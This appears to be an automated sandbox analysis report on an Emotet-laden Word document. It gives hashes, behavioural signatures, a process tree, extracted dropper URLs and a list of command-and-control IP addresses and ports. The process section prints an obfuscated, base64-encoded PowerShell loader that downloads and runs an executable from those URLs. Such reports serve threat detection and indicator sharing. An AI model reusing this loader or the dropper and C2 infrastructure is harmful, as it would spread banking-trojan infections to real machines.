Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    132s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/09/2020, 23:02

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e1_a799324029ea75b6b4a71f02bce59d976fd0926ce98d134c071d39e892f1da2f_2020-09-17__230023._doc.doc
  • Size 161KB
  • Sample200917-32ea4jyaz2
  • SHA256 a799324029ea75b6b4a71f02bce59d976fd0926ce98d134c071d39e892f1da2f
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://hoagietesting10.com/wp-content/SJ/
  • exe.dropper

    http://degepro.com/eTrac/s9/
  • exe.dropper

    http://hbprivileged.com/info/rp/
  • exe.dropper

    https://shoyannutrition.com/wp-includes/B4e/
  • exe.dropper

    https://ictsmkn2cibar.org/cgi-bin/N/
  • exe.dropper

    https://povedavicedo.com/wp-admin/d/
  • exe.dropper

    http://mbsolutions.ge/wp-admin/eRY/

Extracted

Family

  • emotet

C2

  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a799324029ea75b6b4a71f02bce59d976fd0926ce98d134c071d39e892f1da2f_2020-09-17__230023._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1124
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABFAGwAeABxADkAeABpAD0AKAAnAEEAbgAnACsAKAAnADIAcgA2ACcAKwAnADIAYwAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAGUAcgBQAFIAbwBGAGkAbABFAFwAcABSAGgAWAB1AEsAUQBcAG8ANQBlADEAcABTAGUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAVQByAGkAdABgAHkAUAByAGAAbwB0AG8AYABDAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAMgAsACcAKwAnACAAdAAnACsAJwBsAHMAJwApACsAKAAnADEAMQAsACAAJwArACcAdABsACcAKQArACcAcwAnACkAOwAkAFcAYQA0ADkAbwA2ADUAIAA9ACAAKAAoACcAQwAnACsAJwB5AG8AJwApACsAKAAnAHMAJwArACcAZQB5ACcAKQArACgAJwBhAGwAJwArACcAbgAnACkAKQA7ACQARwB4ADQAaQBpAG4ANwA9ACgAJwBUACcAKwAoACcAYwBoAG8AJwArACcAdQAnACsAJwAwAGoAJwApACkAOwAkAFAANQBoADQAcgA5ADAAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcASQBXACcAKwAoACcARgBQACcAKwAnAHIAaAB4ACcAKQArACcAdQAnACsAJwBrAHEAJwArACgAJwBJACcAKwAnAFcARgAnACsAJwBPADUAZQAxAHAAJwApACsAJwBzACcAKwAoACcAZQAnACsAJwBJAFcARgAnACkAKQAuACIAcgBlAFAAbABBAGAAQwBlACIAKAAoAFsAQwBIAEEAUgBdADcAMwArAFsAQwBIAEEAUgBdADgANwArAFsAQwBIAEEAUgBdADcAMAApACwAWwBzAHQAcgBJAE4ARwBdAFsAQwBIAEEAUgBdADkAMgApACkAKwAkAFcAYQA0ADkAbwA2ADUAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABRAGcAdQBfAGkANAAzAD0AKAAnAFEAMwAnACsAKAAnAGQAeAAnACsAJwAwACcAKQArACcAcwBsACcAKQA7ACQASwBzADcAaQBqAGYAcQA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgBXAEUAQgBjAEwAaQBFAE4AdAA7ACQATQBfAGEAdgByAHkAegA9ACgAJwBoACcAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAGgAbwBhACcAKQArACcAZwAnACsAJwBpAGUAJwArACgAJwB0AGUAJwArACcAcwB0ACcAKwAnAGkAbgAnACkAKwAoACcAZwAnACsAJwAxADAALgAnACkAKwAoACcAYwBvAG0AJwArACcALwAnACkAKwAnAHcAcAAnACsAJwAtACcAKwAnAGMAJwArACgAJwBvAG4AdAAnACsAJwBlAG4AJwApACsAJwB0ACcAKwAoACcALwBTAEoAJwArACcALwAnACsAJwAqAGgAdAB0AHAAJwApACsAKAAnADoALwAvAGQAZQAnACsAJwBnAGUAJwApACsAJwBwAHIAJwArACgAJwBvAC4AJwArACcAYwBvAG0AJwArACcALwBlAFQAcgBhAGMAJwApACsAKAAnAC8AJwArACcAcwA5ACcAKQArACgAJwAvACoAJwArACcAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AaABiAHAAcgBpAHYAJwApACsAJwBpACcAKwAoACcAbAAnACsAJwBlAGcAJwApACsAJwBlACcAKwAnAGQAJwArACgAJwAuAGMAbwAnACsAJwBtAC8AJwApACsAJwBpACcAKwAoACcAbgBmAG8AJwArACcALwByAHAAJwApACsAKAAnAC8AKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcABzACcAKwAnADoAJwApACsAJwAvACcAKwAnAC8AJwArACgAJwBzAGgAbwB5ACcAKwAnAGEAJwArACcAbgBuAHUAdAAnACsAJwByACcAKwAnAGkAdABpAG8AbgAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHcAcAAtAGkAbgBjAGwAdQBkACcAKwAnAGUAcwAvAEIAJwArACcANABlACcAKQArACgAJwAvACoAaAAnACsAJwB0AHQAcABzADoALwAvAGkAJwArACcAYwB0AHMAbQAnACsAJwBrAG4AMgBjACcAKQArACgAJwBpACcAKwAnAGIAYQAnACkAKwAoACcAcgAnACsAJwAuAG8AcgBnAC8AJwApACsAKAAnAGMAJwArACcAZwAnACsAJwBpAC0AYgBpAG4AJwApACsAKAAnAC8ATgAnACsAJwAvACoAaAAnACkAKwAoACcAdAB0AHAAcwA6AC8AJwArACcALwAnACsAJwBwAG8AdgBlACcAKQArACcAZABhACcAKwAoACcAdgBpAGMAZQBkAG8ALgBjAG8AJwArACcAbQAvAHcAJwArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtACcAKwAnAGkAJwApACsAKAAnAG4ALwAnACsAJwBkACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBtACcAKwAnAGIAcwBvAGwAJwApACsAJwB1ACcAKwAoACcAdABpACcAKwAnAG8AJwApACsAJwBuACcAKwAoACcAcwAnACsAJwAuAGcAJwApACsAKAAnAGUALwAnACsAJwB3ACcAKQArACcAcAAtACcAKwAnAGEAJwArACgAJwBkACcAKwAnAG0AaQBuACcAKQArACgAJwAvAGUAJwArACcAUgBZAC8AJwApACkALgAiAHMAUABMAGAASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwA0AG8AdgAyADMAZQA9ACgAKAAnAFAAZQAnACsAJwBfAF8AdgAnACsAJwAxACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABRADkAZwBfAF8AbQBsACAAaQBuACAAJABNAF8AYQB2AHIAeQB6ACkAewB0AHIAeQB7ACQASwBzADcAaQBqAGYAcQAuACIARABPAGAAdwBgAE4ATABgAE8AYQBkAEYAaQBsAGUAIgAoACQAUQA5AGcAXwBfAG0AbAAsACAAJABQADUAaAA0AHIAOQAwACkAOwAkAEcAcwBiADUAMgBvADkAPQAoACcAVwAnACsAKAAnAHEAdwByAGsAJwArACcAagAyACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAFAANQBoADQAcgA5ADAAKQAuACIAbABgAGUAbgBnAFQAaAAiACAALQBnAGUAIAAyADQAOQA0ADMAKQAgAHsALgAoACcASQBuAHYAbwAnACsAJwBrACcAKwAnAGUALQBJAHQAZQBtACcAKQAoACQAUAA1AGgANAByADkAMAApADsAJABXAGsAMwB1AHkANwA2AD0AKAAoACcARgBuAGQANQAnACsAJwAzACcAKQArACcAMwA4ACcAKQA7AGIAcgBlAGEAawA7ACQAUgBuAHIAcQByAHYAMQA9ACgAKAAnAFkAMQBrAGcAJwArACcAeQAnACkAKwAnAGQAJwArACcAbQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAaQB6AHEAbQA3AHcAPQAoACcARgAzACcAKwAoACcAdQBhACcAKwAnADUAeAAnACkAKwAnAGMAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1936
    • C:\Users\Admin\Prhxukq\O5e1pse\Cyoseyaln.exe
      "C:\Users\Admin\Prhxukq\O5e1pse\Cyoseyaln.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:340
      • C:\Windows\SysWOW64\EhStorAuthn\pnpsetup.exe
        "C:\Windows\SysWOW64\EhStorAuthn\pnpsetup.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:920

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/340-16-0x0000000000360000-0x0000000000370000-memory.dmp
        Download

        memory/340-15-0x0000000000340000-0x0000000000352000-memory.dmp
        Download

        memory/920-24-0x00000000003E0000-0x00000000003F2000-memory.dmp
        Download

        memory/920-25-0x0000000000420000-0x0000000000430000-memory.dmp
        Download

        memory/1064-26-0x000007FEF48D0000-0x000007FEF4B4A000-memory.dmp
        Download

        memory/1124-2-0x00000000089E0000-0x00000000089E4000-memory.dmp
        Download

        memory/1124-3-0x0000000006E30000-0x0000000007030000-memory.dmp
        Download

        memory/1936-12-0x000000001B7D0000-0x000000001B7D1000-memory.dmp
        Download

        memory/1936-11-0x000000001B500000-0x000000001B501000-memory.dmp
        Download

        memory/1936-10-0x0000000002050000-0x0000000002051000-memory.dmp
        Download

        memory/1936-9-0x0000000002460000-0x0000000002461000-memory.dmp
        Download

        memory/1936-8-0x000000001AB90000-0x000000001AB91000-memory.dmp
        Download

        memory/1936-7-0x0000000001F10000-0x0000000001F11000-memory.dmp
        Download

        memory/1936-6-0x000007FEE8470000-0x000007FEE8E5C000-memory.dmp
        Download